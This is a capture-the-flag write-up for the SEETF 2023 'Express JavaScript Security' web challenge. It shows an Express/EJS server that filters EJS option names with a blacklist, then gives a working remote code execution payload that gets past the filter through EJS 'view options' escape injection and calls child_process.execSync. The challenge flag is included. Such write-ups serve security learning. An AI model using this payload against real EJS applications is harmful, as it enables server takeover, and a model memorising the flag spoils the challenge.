ctf-writeup/2023/SEETF 2023/🎓🌎 Express JavaScript Security
daffainfo e6c48e50f1 feat: grouped the challs 2024-01-09 16:59:32 +07:00
..
images feat: grouped the challs 2024-01-09 16:59:32 +07:00
README.md feat: grouped the challs 2024-01-09 16:59:32 +07:00
dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909.zip feat: grouped the challs 2024-01-09 16:59:32 +07:00

README.md

🎓🌎 Express JavaScript Security

My first JavaScript project.

About the Challenge

We were given a source code that contains some files with .js and .ejs extensions (You can download the file here). Here is the content of main.js

const express = require('express');
const ejs = require('ejs');

const app = express();

app.set('view engine', 'ejs');

const BLACKLIST = [
    "outputFunctionName",
    "escapeFunction",
    "localsName",
    "destructuredLocals"
]

app.get('/', (req, res) => {
    return res.render('index');
});

app.get('/greet', (req, res) => {
    
    const data = JSON.stringify(req.query);

    if (BLACKLIST.find((item) => data.includes(item))) {
        return res.status(400).send('Can you not?');
    }

    return res.render('greet', {
        ...JSON.parse(data),
        cache: false
    });
});

app.listen(3000, () => {
    console.log('Server listening on port 3000')
})

This is a Node.js Express server application that uses the EJS templating engine to render views. The server listens on port 3000. The application has two main routes: the root route ('/') and the '/greet' route. When accessing the root route, it renders the 'index' view. When accessing the '/greet' route, it checks the query parameters, converts them to a JSON string, and looks for any blacklisted items within the data. If any blacklisted item is found, it returns a 400 response with the message "Can you not?". Otherwise, it parses the JSON data, renders the 'greet' view with the parsed data and disables caching. And then here is the content of greet.ejs

<html>

<body>
    <h1 style="font-family: <%= font %>; font-size: <%= fontSize %>px;">
        Hello <%= name %>
    </h1>
</body>

</html>

How to Solve?

At first, we are using this website to perform Remote Code Execution, but outputFunctionName is blacklisted. Therefore, we need to find another working payload. Finally, I found another working payload after doing some googling. (Check out this website). Here is the final payload I used to solve this challenge:

http://ejs.web.seetf.sg:1337/greet?name=test&font=test&fontSize=test&settings[view%20options][client]=1&settings[view%20options][escape]=%7B%7D.constructor.constructor(%22return%20process.mainModule.require(%27child_process%27).execSync(%27/readflag%27)%22)

I am executing the /readflag command to obtain the flag.

flag

SEE{0h_n0_h0w_d1d_y0u_ch4ng3_my_0pt10ns}